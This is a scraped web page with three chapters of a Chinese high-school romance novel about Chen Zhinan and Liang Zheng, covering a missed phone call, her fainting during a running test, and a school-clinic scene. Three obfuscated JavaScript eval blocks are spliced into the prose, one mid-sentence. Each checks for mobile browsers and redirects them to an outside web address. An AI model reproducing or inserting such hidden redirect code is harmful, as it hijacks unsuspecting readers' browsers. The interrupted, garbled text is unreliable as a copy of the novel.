肚皮快要贴上脊梁骨,她从冰箱里拿出鸡蛋和黄瓜,打算先做饭。黄瓜洗好,搁在砧板上,用指尖抵住一侧,像往常那样手起刀落。 窗外树影轻晃。 阮佳佳抿着唇,悄悄问:“南南,你……跟梁筝熟吗?” “梁筝?”陈枳南一怔,“怎么了?” “没,我听说他要过生日,所以想打听打听他喜欢什么。”阮佳佳笑出小梨涡。 陈枳南敛起眸光,从容不迫回答:“我跟他不熟。你也知道,我俩之前结过仇,他这人挺讨厌的,总是自作聪明,每天都牛哄哄不知道自己姓什么……”越说越起劲,仿佛真的很讨厌他。 “我觉得他人挺好的呀,勇敢、聪明、还暖暖的,像个——”阮佳佳歪头思考,“小太阳。” 陈枳南咧嘴:“都是你自己想象的吧。”手止不住摩挲课本纸页,微微卷边。 女孩沉浸在甜蜜里,却万分惆怅趴在桌上,喃喃道:“他这样的人,会不会招很多女孩喜欢啊……” 是啊,会有很多女孩喜欢他。 陈枳南一直都明白,她能够看到的所有美好,别人也能看到。 梁筝身上的光芒,不会永远只照耀她一个人。 所以……你也喜欢她吗? 脱衣,站定,披衣,一气呵成。温柔化水滴落,钻进对方眼眸。 雷声乍破,直直劈下天空。陈枳南被吓得抽离,握着菜刀的手臂忽然脱力,惊慌中,刀刃划过指尖皮肉。 十指连心的疼痛足以让她迅速清醒过来,顾不上鼻酸,立马打开水龙头冲伤口。 指尖透心凉,结下寸寸冰霜止住了血流。 果然一心不能二用,真倒霉。 陈枳南从药箱里翻出小小的OK绷,仔细缠上食指。 切了小半的黄瓜还静静躺在厨房,她泄气了似的,拿出一桶泡面扔在桌上。 简单吃过晚饭后,陈枳南来到卧室书桌旁。 幸好今天作业不多,可以腾出更多时间来让她补习。为了表示对化学的重视和敬佩,她专门买了个文件袋存放化学书籍,上面还画着个大大的加油图案。 擦了擦文件袋上的水珠,将课本和辅导书拿出,铺开。 “第四章第二节……”书页翻动沙沙作响。 雨小了些,夜空依旧阴沉。指尖烧灼,烦躁莫名涌动着,眼睛不停歇地一行又一行扫视,却半点也没读进脑袋里去。 乱。 彻底乱成一团。 她仰头托腮,白花花的墙壁映出那天傍晚,男孩白色的身影轮廓。 他扯开笑容,骄傲说:“反正你有我电话,不懂的题问我就行。”转身走出书店那扇小门,没进光里。 滑开手机盖,屏幕亮起,调至联系人那一栏。 犹豫了许久,才拨通号码,她小心翼翼将出声筒贴在耳边。 “嘟——嘟——” 一秒钟,脑袋里预演了一百遍电话接通后的对话。 寒暄的,热切的,尴尬的,流畅的。 “对不起,您拨打的号码暂时无人接听,请稍后再拨。” 陈枳南以为自己拨错了号码,拿在手里反复确认后,又拨了过去。 毫无意外收到了一样的语音回复。 像扔一颗石子去海里,她的所求,本不是多么波涛汹涌的回答。 而大海,也不会回答。 无奈挂断电话,她表情淡然,眼底却是一片颓败。 好奇心驱使着她又打开电脑。 穆岚为了团结班级,特意屏蔽老师创建了属于他们自己的四班班级群,把有企鹅号的同学们都拉了进来,方便相互联系。 登陆企鹅软件点进群聊,成员列表中,梁筝网名后面标记着“在线”字样。 在线啊……难道是手机静音,或者没电了? 挪动鼠标,戳了戳梁筝网名,弹出一张主页资料,头像是NBA赛场上的外国球员,陈枳南也不认识几个。 她点了下右下角蓝色的好友申请按钮。 申请小窗弹出,上面写着一句灰色文字提示:我是…… 她忐忑敲下三个字:陈枳南。 觉得太过苍白,补充了几个颜文字,又觉得有些幼稚,适当删了些。一行申请绞尽脑汁,写了又写,改了又改。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765600|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余下的一整晚,陈枳南都在等他的验证消息。 可是始终没有等到。 * 淮海被一场大雨洗净了尘埃。 清晨充斥着泥土味道,马路上人流涌动,不乏有年轻人奔跑的身影。 陈枳南又起晚了。 意外的是,这次比之前还要晚,床头闹铃响了好几遍硬是没吵醒她。即便醒了也抬不起精神,脑袋昏昏沉沉,身体灌了铅一样。 根本来不及买早餐,拖着双腿压哨闯进了校门。 停住脚步,铺天盖地的眩晕感紧紧捏住她心脏,肠胃止不住一阵痉挛,陈枳南又跑去厕所,趴在洗手池边呕了几口空气。 难受……好委屈、好想哭。她再也不要傻瓜似的等消息了。 眼角渗出泪,她紧咬着下唇强忍了回去。 见陈枳南恹恹走进教室,穆岚侧头问:“南南,你脸色怎么这么差?” “没事,就是昨天熬夜了。”陈枳南抬起软趴趴的胳膊,扯着下眼皮搞怪,“黑眼圈明显吧。” 穆岚叹气:“你是不是也紧张今天测八百啊?我也紧张……” 她都忘了今天要体测的事了。弱弱答:“还行吧……” 视线对上窗边那双温润的眼,分外气恼,下意识想要质问。 问昨天为什么不接电话,为什么不看消息。是真的在忙吗?还是故意,连一眼都不想看,不想回复。 又或者,仅仅是不理她而已。 窗缝钻进湿凉的风,他穿着半身短袖,座位上仍然不见外套踪迹。 心中莫名失落,她张张嘴,也懒得出声了。 “嗐,小小八百不必紧张,你们肯定都行。”周铭扬起身给陈枳南腾位置。 陈枳南苦笑一声,身形佝偻着,懒懒倚在墙边。 “不舒服就别勉强了,反正可以补考。”梁筝察觉她状态不对劲,摘下耳机道。 耳膜涌进清亮的声音,陈枳南缓缓扶正身体,用胳膊撑在桌沿。 不服气似的证明自己可以。 穆岚惊坐起:“补考?这么大操场就几个人死命跑,还有一群来围观看热闹的人,跑得好还行,跑得不好多丢人啊。” 陈枳南觉得颇有道理,回头说:“别紧张,有我和佳佳呢,咱们一起。” 穆岚会心地笑。 正说着,熊志远从门口捎进一句话:“梁筝,外边有人叫你。” “来了。” 视线又随着他挪到了教室外,却在转角消失不见。 阮佳佳抱着校服外套等候在门外,见梁筝出现,上前道:“昨天……真是太感谢你了,要不是你的外套,我还不知道这一路会糗成什么样……”递上衣服,脸颊再次羞红,“衣服我已经洗好了,没留下污渍,你直接穿就行。” “没事,举手之劳。”梁筝微笑接过叠得整整齐齐的衣服,穿在了身上,“谢了。” 刚转身要走,又忽然撤步凑近,压低声音:“对了,昨天的事你不用太放在心上,这是女生正常生理现象,没什么可羞耻的。下次注意就好。” 门外相视而笑,门内望眼欲穿。 上课前一分钟,陈枳南忽然感觉后背有东西在戳她。微微侧身,余光竟瞥见一抹悄悄向前蠕动的白色。 是梁筝递来的纸条。 11. 酸橘(5) 正犹豫要不要接,英语老师便卡着时间雷厉风行走进班里。陈枳南迅速抽走纸条攥在手心,却并没有打开。 于她而言,这张纸条就像潘多拉的魔盒,一旦打开,不管里面写的是什么,好或坏,都会牵动她一整天的心绪。 更何况,他已经是别人喜欢的人了。 她理应保持距离,即便这个名字已经深刻地烙进心里。 这是陈枳南第二次为自己的不勇敢买单。 胸口像被浸透了的海绵坠着,呼吸都变得沉重。 下课铃连着一阵赴死般的哀嚎。班级开始躁动,喝水的喝水,脱外套的脱外套。 熬夜又早起的难受这会儿缓和了许多,现下只觉得冷。 离上课还有些时间,陈枳南打算去水房接水,刚站定,旁边便出现一个身影。 “待会儿跑步悠着点,量力而行,后面冲刺也别太猛,不然胃里容易难受。”梁筝拧开出水阀。 陈枳南点点头:“嗯。”有意无意嗅到他身上淡淡薰衣草香。 梁筝继续说:“别紧张,体测只占小部分,还有平时成绩……” “嗯,我先去找她们了。”陈枳南打断他,匆匆往楼下跑。 * 下过雨的操场很是安静。 一眼望去,碧空如洗,如同蒙尘许久的镜子忽而被淘洗干净那样清亮。 男生们首先跑一千米,四班女生扎堆在观众席角落热聊,激烈讨论着他们五花八门的跑步姿势。 梁筝和周铭扬并肩跑在最后,一边跑,居然还一边闲聊。 “他俩干啥呢?双双预定倒数第一吗?” “瞧瞧人家的心态,根本没把体测当回事儿。” “人家也可能是保存实力,等最后冲刺一波直接夺魁呢。” “梁筝说不定会,周铭扬……就算了吧——” 叽叽喳喳的吵闹打趣儿声此起彼伏。 注意力被无形的引力抽走,耳边似乎隔绝了所有声音。陈枳南绷着身体,掌心微微渗出温热。 越来越冷了。 “南南。”穆岚见她正出神,上前蹭了蹭她胳膊,“陈枳南!” 陈枳南缓缓过扭头。 穆岚在她旁边坐下:“咋了你,整个人木了一样。” “可能是太紧张了吧,毕竟第一次体测。”陈枳南敷衍道。 阮佳佳抱了抱陈枳南,软声安慰:“别紧张,我们都陪着你呢。” “我是看开了,就把它当成一千五的练习随便跑跑算了。”穆岚捕捉到阮佳佳手中折成方块的纸,“阮佳佳,你要不要这么丧心病狂?这种时候了还背书。” “不是,我昨天正好来例假,已经申请补考了。” 她一左一右搂上两人肩膀:“我在旁边给你们加油打气,送水随叫随到,怎么样,贴心吧?” “贴心——”两人异口同声拖着黏腻的语气。 少年狂奔冲过终点,取得第二名的成绩。 又马不停蹄地向操场边放水杯的地方跑去。 体育老师赶鸭子上架似的把女生们赶上了跑道。准备就绪,哨声清脆一响,所有人齐刷刷冲了出去。 迈腿,摆臂,调整呼吸……陈枳南找好节奏,跟着前面穆岚的脚步缓缓行进。 汗水源源不断流下来。 一圈不到,身体已然有些吃力。 压在胸口的东西越来越重,重到挤压心脏,运作远超负荷。空气开始变得稀薄,大脑努力汲取着氧气,越急迫,越难以捕捉,直至彻底打乱了呼吸。 陈枳南能感觉到,她的感官正在慢慢封闭。 双腿止不住发软,好累……她下意识想要求救,喉咙却被什么东西遏住,又干又燥,想出声,可怎么都无法张口。 眼前的天地间只剩黑白,漫天雪花纷纷落下,落下……最后消失不见。 一道鸣笛声霎时穿过大脑。 紧接着,一片空白。 “陈枳南!” …… “枳南。” “枳南?”口吻关切,心疼满得快要溢出。 是谁在唤她? 五感正逐渐恢复,她好像躺在一张很大很舒服的床上。 好软的枕头,好暖和的被子。她很久都没有像现在这样睡得这么安心了。 一个人守着空房子的日子难熬的很。 真想再多睡一会儿。 大口喘息间空气流动,扑面而来一缕刺鼻难闻的消毒水味。 这是医院吗? 陈枳南努力挣开眼皮,看见了纯白色的天花板,视线两端紧紧随着两颗脑袋。 是爸爸妈妈吗? 她习惯性去寻找自己更熟悉的身影,轻轻向左侧头:“爸爸。” 陈枳南爸爸陈敬山握住女儿的手,声音浓厚,极力克制住颤抖:“爸爸在。” 好久不见爸爸了,许是频繁奔波在各地的缘故,他苍老了很多,皱纹横生,白发若隐若现。 “你……回来的这么突然。”陈枳南小心翼翼问,“是工作忙完了吗……” 陈敬山笑:“当然忙完了。爸爸这次专门回来陪你,还有妈妈。”眼睛望着对面的人,“妈妈也回来了。” 陈枳南一瞬怔然,目光跟随着缓缓移动,定格在余光所及。 一直模糊的脸庞终于清晰,隔着泪水,忽远忽近,在现实与虚幻之间反复确认。 爸爸老了,妈妈却没老。和记忆中的样子没有分别,一身笔挺的西装,年轻漂亮,知性干练,眉眼间,坚毅与柔情并存。 傅行兰温柔地笑:“是妈妈,我回来了。”想要抚摸她的额头,却被无意识躲了回去。 手悬空在原地,进退两难。傅行兰再也无法克制,伏在床前,忍不住落了泪。 挣扎,犹豫,泪水汹涌。陈枳南伸出手,明知这一切都不可能发生,却仍然不可控地,想要跌进这蜜一样的漩涡。 嘴角嗫嚅着许多年都未说出口的那两个字。 母女相视而泣。 思念是有魔力的,它可以穿透血肉,腐蚀意志,反复灼烧伤口。悄无声息流进时间里的血液,也可以在未来某一天,带你去任何想去的地方,见到任何想见的人。 所有愁绪都在这一刻飞走,沉重的身体变得轻盈,仿佛被一只大手托举着,慢慢升空。 …… 可思念,依旧只是思念。 身体逐渐有了知觉,睁开眼睛,连着手背的输液器正缓缓往下滴水。 陈枳南躺在校医务室冰冷的行军床上。 眼角的泪早已干涸,瞳仁一骨碌转着打量四周,不知为何,她忽然松了一口气。 坐在身旁的穆岚见她醒着,惊呼:“枳南?”火急火燎跑去喊大夫,“她醒了,是不是没事儿了?” 女校医闻声过来瞧,上手摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765601|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈枳南额头,问:“早上吃饭了吗?之前有没有晕倒史?” 陈枳南脑袋轻轻动了下,摇摇头。 “就是高烧加上剧烈运动后低血糖,用了退烧针和葡萄糖,暂时没什么大事,不过还是要继续观察观察,把这袋药输完再走吧。下次可不能这样了,多危险啊。”女校医悉心叮嘱。 握住她的手紧了紧:“哎哟你可吓死我了,正跑着步呢就看见你‘扑通’一下倒在地上,还好没什么大事,刚才校医还说,要是十分钟之内再不醒,就送你去医院呢。” 陈枳南没力气说话,却执拗地要坐起来。 好奇牵引着她四处打量,空荡的房间却只有她们两个人。 在梦里醒来之前,陈枳南分明听见有人在唤她。嘈杂中,隐约是一道清冽的男声,是那缕最动人心弦的声音。 是他吗?可他不在这里…… 穆岚在她身后垫了两个枕头,把水端去。 “唉,我怎么不记得了?”陈枳南抿了几口水润润嗓子,强压着喉咙涌上的血腥味,看着穆岚眉头皱巴巴的难看,打趣儿道,“我只记得我在Jay的新专辑签售会上,刚要给我签名就被一阵声音吵醒了,是不是你?” 穆岚惊喜:“不会吧!这么快要有新专辑了?那你跟他说话了没?” “当然喽。”陈枳南挑眉,“我跟他说,我有个朋友特别喜欢你,他可高兴了,说下次让我介绍一下,让你坐演唱会内场。” “哦~是吗?”穆岚期待的眼神瞬间阴鸷,猛地敲打被子,翻脸比翻书还快:“你真行啊陈枳南,不吃早饭,发着烧还跑八百,要不是我发现得快,你就等着被后面的人踩死吧!” “哎哟岚岚——”陈枳南扑进穆岚怀里撒娇,来回晃着手臂,“你从操场扛着我到这儿来的?” 走廊传出动静,抬眼间,两人并肩出现在门口。 汗水打湿了他胸口衣襟,颜色相比之下明显深了一片。陈枳南垂下眼睑,不再向那边看。 “南南你好了!”阮佳佳兴奋跑进来抱住陈枳南。 梁筝默默跟在她身后,脸色凝重:“没事就好。” “我说你们两个,能不能等等我啊。”周铭扬姗姗来迟,把手里提着的一大袋零食搁在桌上。 “你感觉怎么样?大夫说你可能是低血糖,我们想着你醒了肯定会饿,所以就去超市给你买了点吃的,快吃点。”说着,阮佳佳拆了一盒巧克力,一包薯片,一瓶汽水摆在她面前。 梦醒了,身边还有朋友不是吗?暖意抵达心口,她还从未感觉过这种不论发生什么,都有人兜底的安心。 也许失去本身就是另一种获得。 眼眶泛红,感动无以言表。 可喉咙仍上泛着恶心,嘴里发苦,实在是咽不下东西。 陈枳南不自觉皱眉把东西往前推,举了举被针头封印的胳膊:“没事儿,我这挂着葡萄糖呢。你们忙前忙后的肯定也累,先吃点垫垫吧。” “含块糖吧。”梁筝摊开掌心,递上一块硬糖,“跑完步嘴里会发苦。” 声音再次在耳边响起,脑海里模模糊糊,似是非是。 可能刚才,真的是幻听吧。 陈枳南讷讷接过,塞进嘴里。 四人就这样安安静静在床前站着,将陈枳南围得密不透风。 梁筝忽然出声:“对了穆岚,刚才回来路上碰见老李,让你去他办公室一趟。” 12. 酸橘(6) 包围圈抵挡了所有冰冷,人群中央生起一簇微弱的火苗。 半分钟沉默,陈枳南正想着怎么感谢大家,梁筝忽然出声:“对了穆岚,刚才回来路上碰见李主任,让你去他办公室一趟。” “?”阮佳佳疑惑,“什么时候?” “老周回教室放杯子的时候碰见的。”梁筝抚上周铭扬肩膀。 周铭扬会意一笑:“……对对,我差点忘了。” 穆岚垂头丧气起身,小声嘟囔:“怎么又有事儿啊。” “你先去,南南这儿交给我,我陪她,保证完成任务。”阮佳佳牵着穆岚的手,交接仪式一般郑重将床上的“病人”托付传递。 陈枳南眼神软地像棉花,“呜呜呜”伸出手,想要抱住二人。 “别乱动,跑针你就老实了。”梁筝冷声提醒。 “好姐妹”的“好”字刚说出口就被无情打断,陈枳南瘪瘪嘴,明着瞪了他一眼。 属你最没心肝。她暗骂。 周铭扬手里又捧着一袋虾条,嘴里含含糊糊:“你俩别忘了下节还有课,得去个人给陈枳南请假。” 阮佳佳点头,转身说:“那你等我一会儿,我去请假。”话音刚落,几人匆忙推搡着一齐往医务室外走去,将陈枳南拒绝的声音隔绝在了门里。 一瞬间恢复了冷清,陈枳南疲累的大脑沉静下来,这才将注意力转移到自己身上。 膝盖和胯骨隐隐作痛,胳膊外圈多处擦伤,右手掌根也因重力撑地刮出红彤彤的血痕。 狼狈不堪。 也算是给自己长了次教训,绝不能再有下次这样的事,麻烦了自己,也麻烦了别人。陈枳南叹气,扭身去摸口袋里的东西。 左边摸了右边摸,却怎么也摸不到。 陈枳南脑袋“嗡”地一声响,急忙掀开被子翻找床上。 “又乱动?” 她抬头,那身影款款走来,填满视线,丝毫不给她反应措辞的机会。 嘴里含着的糖差点吓得吞进嗓子眼。她僵硬怔住,不敢再动弹:“你,不去上课吗?” 梁筝自觉地搬了个凳子到陈枳南床边坐下:“下节物理,我提前学了。”捋了捋输液管,眼神示意她安生把手放好。 “那你应该回去睡觉啊,来这里干什么……”话里掺着怨气。 最想看到的人是他,最不想看到的人也是他。 梁筝不再嬉皮笑脸:“来道歉。” “?” 没想到他居然这么直白,陈枳南眼神闪躲着,鬼迷心窍一样继续倔强:“你跟我道什么歉……” 梁筝把手撑在大腿上,一脸认真:“我觉得朋友之间应该坦诚相待。” 陈枳南不可能听不出,他是在变着法的说她别扭。于是顺着他的节奏,摆出虚张声势的架子:“所以呢?” “刚才在找这个吧?”梁筝上前摊开手,掌心中间躺着一张被压扁的纸条,“我就知道你没看。” 陈枳南问:“你哪里捡的?” “操场。你晕倒的时候掉出来了。”梁筝诚实答。 这么巧? 脑袋闪回各种各样梦幻般的偶像剧场景,陈枳南瞬间萌生出想问他“晕倒的时候你在我身边吗”的想法。喉咙发痒,她轻咳一声,最后却咬咬嘴唇,没能问出口。 怕是自作多情。 “里面写的什么?” “你先拆开看看喽。” 拿过纸条,在指尖灵活展开—— 对不起。 陈枳南睁大眼睛:“就,这个?”脑回路难以置信。 “当然不是!这就是个敲门砖,纸条这么短,一句两句也说不清楚。”梁筝语气无辜,软声说,“再说了,解释的话得当面说才显得有诚意。” 她一向对这样的梁筝没有抵抗力。 “那你……解释吧。”笑着两手一摊。 梁筝立马坐正:“昨天雨下得太大,淹了我家地下室,我和我妈抢救了一晚上。等忙完手头的事才有空看手机,看见未接和验证消息……”他顿顿,“那时候已经凌晨,我想着你肯定睡了,所以就没回。我可不是故意的。” 眼睛眨呀眨。 像个犯了错,又主动承认错误的乖孩子。 陈枳南从前一直觉得,心软就是另一种软弱,不论出发点如何,都会导致不同程度的伤害降临。所以她一向避免这种情况的发生,黑夜与独处占据了百分之七十的她,不得不学着在夜深人静的时候一遍一遍将自己打碎重建,将感知这个世界的情感的能力封闭在心里。 她敏感,却不承认敏感,也不承认自己为自己制定的规则下,掩藏的累。 但此时此刻,她感觉自己的心皱成一团,被这片骄阳烫过的外壳正慢慢土崩瓦解。 是她误会了他。 想问的那句“你还好吗”仍然未敢宣之于口,缝缝补补化作一句:“你家地下室还好吗?” “没事儿,就是泡了点书和一张木桌子。”梁筝挠挠头,有些不好意思,又道,“对了,你昨天打电话是有急事儿吗?” “没了。” “你钱包又丢啦?” “没有,真没有。”眼神不经意闪躲。 梁筝半信半疑。 转眼注意到陈枳南嘴唇被咬得发白,脸色不比刚醒来时,他关切俯身,伸手想要触碰她的温度。 越靠越近,跌进对方深邃的瞳孔里,陈枳南迅速抬手挡住额头。 两毫米。掌与掌间横穿而过的气流逐渐变得温热。 心不争气地跳到嗓子眼。 气氛上升至沸点前的那一刻,又忽然销声匿迹。梁筝笑了,轻轻抓过她细软的手腕,放在手里。 “你手怎么了?” “哦……摔倒擦的吧。” “不是,我说手指。”梁筝指指创可贴。 脑中闪过一万种解释的理由,每个都离不了面前这个人,简直私心过甚。 陈枳南后背的汗毛忽然竖了起来,讷讷道:“不小心弄的。”她的谎话一贯很容易被看穿。 盯了几秒,他起身,将滴速调节阀滚轮滑到最低流速,说:“等我一下。” “去哪儿?……”声音软的不成样子。 几分钟后,梁筝拿着一堆七零八碎出现在小隔间。像个专业大夫,拆封碘伏,消毒镊子,夹取棉球。 “不、不用麻烦了,我回家自己弄就行。你快回去吧,待会儿佳佳会来陪我……”陈枳南莫名恐慌,嘴上不停说了一大堆。 她在怕什么?怕被误会吗……又一次带着答案问自己。 似乎猜到她会推辞,梁筝依旧面不改色:“新拆封的碘伏,不用就要全部倒掉,多浪费医疗资源啊。”边说服边把手腕抢过来,郑重叮嘱,“疼的话跟我说。” 拗不过他的力气,陈枳南只好妥协。 大手托着小手,棉球轻啄伤口处皮肉,凉凉的,痒痒的。 这么温柔的触碰,是不会疼的。她浅笑,忐忑,又沉醉其中。 树影遮挡了一部分光线,日光不算太烈,耳廓却恰好暴露在明处,被照得泛红,几乎透明。 碎金钻进梁筝眼睛里闪闪发亮,她忽然想到霓喜。 “脸色是光丽的杏子黄。一双沉甸甸的大黑眼睛,碾碎了太阳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765602|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黑里面揉了金。”① 这句话如果用在梁筝身上,似乎也毫不违和。 只是霓喜的美貌不可置否,在那个错误的社会、错误的时间里,既要利用美貌依附男人,又有对忠贞爱情的不断渴求,造就了她婚姻一次又一次惨淡的收场。徒有美貌而命运多舛的女子,读来只觉得可惜。 可梁筝就不同了,放在现在的社会,拥有这张漂亮脸相当于生来便给自己添了一层独一无二的光环,要是再打扮打扮,甚至能够当成吃饭的家伙。 手上动作未停,像是想到什么,梁筝嘴角微微抽搐。 那一瞬间,还以为恰巧看穿了陈枳南大胆将他比作“美貌女人”的奇思妙想。 “你笑什么?”陈枳南心虚,脸颊倏地滚烫。 “我就是突然想到了,上次在街机厅门口抓小偷那次,是你给我擦的药。”梁筝傻乐,笑出一口白牙,“这算不算有来有回?” 回忆涨了潮。 他仿佛看见了泛着金黄色光芒的女孩奔跑降落面前,眼底蔓延着气恼和心疼。而她仿佛也看见了那天不顾一切冲锋陷阵的盖世英雄,如今收起锋芒,正为闯了祸的她安稳善后。 陈枳南撇嘴:“好事儿就算了,这种坏事哪能有来有回……” “遇事要往好里想,说不定是因祸得福呢。” “得什么福?” “不用做课间操了啊!多好的事儿。”梁筝眉飞色舞。 陈枳南被逗笑,两人相视,空气中有千丝万缕一闪而过。 纱布一圈又一圈,笨拙地缠着。 “你是要把我缠成木乃伊吗?”陈枳南一本正经。 梁筝仔仔细细,边缠边说:“这样牢固,以你这后知后觉的大脑,万一再不小心摔个狗啃泥,也好有个缓冲。” “……” “好了。”梁筝剪断绷带,打了个蝴蝶结,把手还给陈枳南。 也许是因为长时间保持不动导致血液流通不畅,整条胳膊都变得冰凉,趁着大手裹着的余温还在,她迅速掖进被子里。 梁筝把东西归置到一边,拿起那瓶开封未动的汽水喝了起来。 “你还不回去?”陈枳南催促。 “这么急着撵我走。”他囫囵着咽下嘴里汽水,“难不成做亏心事儿了?” 再不走,马上就会有了。 陈枳南无奈把头扭向窗外,佯装困意袭来,闭上眼睛:“我想睡会儿。” “好,那我去找阮佳佳过来。” 待梁筝拉上窗帘后走出去,脚步声越来越小,她才安心坐起来,将手腕放到光下。 想不到男生的手也可以这么灵巧,系出来的小小蝴蝶结,精致又秀气,一看就是妈妈教的。 陈枳南笑笑。 篮球鞋“唰唰”与地面摩擦的声音再次靠近,她立马躺下装睡。 脚步声停止在距自己十公分的地方,肉橘色视野被挡住一小块阴影,他轻轻开口:“别装了,知道你还没睡。” 眼睛闭紧,尽量保持平稳呼吸,陈枳南按兵不动,心里早慌得打结。 “把手伸出来。”他的嗓音温柔蛊惑,却又不容置喙。 挣扎须臾,乖乖探出手指,眼皮依旧执着地紧咬在一起。 一团布料一样温热的东西忽然塞到她手上,霸道驱散着肢体的僵冷和麻木。 是一个包着校服外套的热水瓶。 暖意如解冻春水,顺着指尖开始往皮肉深处渗透,悄然上行,一丝丝浸入血脉。 他偷笑:“脸这么红,最好还是叫大夫过来看看。” “走喽。”单臂举过头顶,晃了晃。 13. 酸橘(7) 日出日落在天边上演着无声的轮回。 学校把期中考试安排在了假期和运动会之前,家长会则安排在运动会之后。跨度如此之大,此等歹毒的心思昭然若揭,无疑是故意把学生架在火上烤,让大家求生不得,求死不能的在玩物丧志的欢娱中等待着现实当头一棒。 八百事件过后,一切都恢复如常。 唯一异常的是,阮佳佳对梁筝的热情似乎冷淡了许多。 从前,陈枳南经常会在笔袋藏着的镜子里,偷偷看到梁筝身后那个黏黏糊糊的身影,一天八节课,至少五节课间不缺席。 可最近几天用不着陈枳南侦查,别说来问问题,只要课间穆岚叫着她俩去上厕所,都需要绕大半个教室,去叫屁股不知怎么的就粘在凳子上的阮佳佳。 包括升旗仪式,也没有再撞上那道出自同一个方向的视线。 穆岚偶尔问起,阮佳佳只说要努力搞学习,不折腾别的。 那时的陈枳南不明白,阮佳佳之前明明那么喜欢梁筝,喜欢到一见他就脸红心跳,喜欢到一提起他就笑,怎么现在,说不喜欢就不喜欢了。 为了学习是最冠冕的回答。 也许真的有为了追随喜欢的人的脚步,拼命进入清华北大的励志故事,但阮佳佳断的果决,陈枳南可以肯定,她不是。 起码不是因为梁筝。 别人看不出,可陈枳南却看得出,阮佳佳有心事。 是什么心事呢? 这个问题她一直搁在心里没有答案,直到后来的某一刻,再回想这个问题,似乎就理解了。 对于年少时漂泊不定的感情,阮佳佳有着和她不一样的见解,不为任何人委屈自己,不去等待没有结果的东西,敢爱敢恨,更像一个勇士,勇于拎清自己,保护自己。 而陈枳南不知道的是,每个人所悟出的成长都要经历一次蜕变的伤痛,而这个伤痛,只有阮佳佳一个人清楚。 “喂,你下什么神呢?” 听见声响,陈枳南机械性抬头四顾,对上左边那双黑润润的眼眸。 见陈枳南哑声,梁筝上半身微微倒向她那一边,问:“不舒服吗?” 陈枳南忙摇头:“没,没有。” “那就行,早上太阳还不算太毒。”梁筝一笑,身体弹了回去。 主席台上的主持神采飞扬,激情四射地演讲,学生们有一耳朵没一耳朵的听着,百无聊赖,台下不免窸窸窣窣。 没有及时收回的目光就这样定格在他身上。 缭绕的晨光被他额前头发打散,斜斜照射下来,不是很刺眼,容她仔细看过去,能够清晰观察到梁筝侧脸轮廓上一层细碎的,泛着金黄色的绒毛。 陈枳南偷笑,算上脑袋,他整个人都是毛茸茸的,像只小猫。 炭笔勾出来的线条挺拔,眉眼依旧清冷,看不出丝毫情绪,与从前不同的是,他的目光亦落在她身上。 此情此景,竟令陈枳南一时错愕,恍若回到了正式上学那天的升旗仪式。 刚回春的海边小镇依然冷风呼啸,且温度湿冷,所以来淮海前,陈枳南准备了许多冬春季节的厚衣服。 搬来淮海这几天,陈枳南从没在日头最烈的时候出门,就连报道也碰巧遇上了一个相较凉爽的午后。 所以毫无意外,在爸爸再三叮嘱不要着凉不要感冒……的前提下,陈枳南鬼使神差地往校服外套里套了一件保暖毛衣。 站上操场的那一刻,她肠子都悔青了。 毒辣的太阳婆婆以地为锅,毫不留情熬着滚烫的“热汤”,一阵又一阵热浪从地面卷起,活活要将陈枳南生吞。 鼻尖沁出一层细密汗珠,长袖外套密不透风,闷得她发晕。 正当她焦头烂额寻找解决办法时,一道阴影忽而降临,给了她一寸栖身之所。 简直是久旱逢甘霖,雪中送炭啊! 陈枳南顺着阴影,抬头望去。 操场上升旗的队形是按照高矮个儿排布,男生一列女生一列,陈枳南刚转来,李宏伟还没来得及将她插进队伍,只好让她去队列最后,将就将就。 陈枳南没看错,在斜前方的另一边队列,有一个高个儿男生笔直站着,恰好挡住了斜照的阳光,影子垂落,也恰好盖在她身上。 “同学,下次记得看天气预报。”声线清凉柔和,一瞬浇灭了她躁动不安的心绪,连带着身体仿佛都降了温。 男生侧过脸,眉眼淡淡,只用余光扫着她。 讲话同时,陈枳南才发现他身前空出至少两个人的距离。 其实……有没有可能……也不是这么恰好。 青春期少女的小雀跃在心尖舞动。她怔了一下,答:“哦。” 梁筝扭过头,身形瘦瘦高高,在风中继续屹立不动,却不似弱柳扶风,宽阔的肩膀和隐约的肌肉线条比一般男生还要有力量感。 陈枳南极力将自己缩在他的影子里,缩在一角。她莫名有种在烈日炎炎下,背着操场受苦受难的所有同学,偷偷吃了一根绿豆冰棒的窃喜。 消暑又解渴。 她永远都记得这一刻的满足感。 * 回教室的路上peoplemountainpeoplesea,梁筝挤过人群,在教室后门堵住了陈枳南。 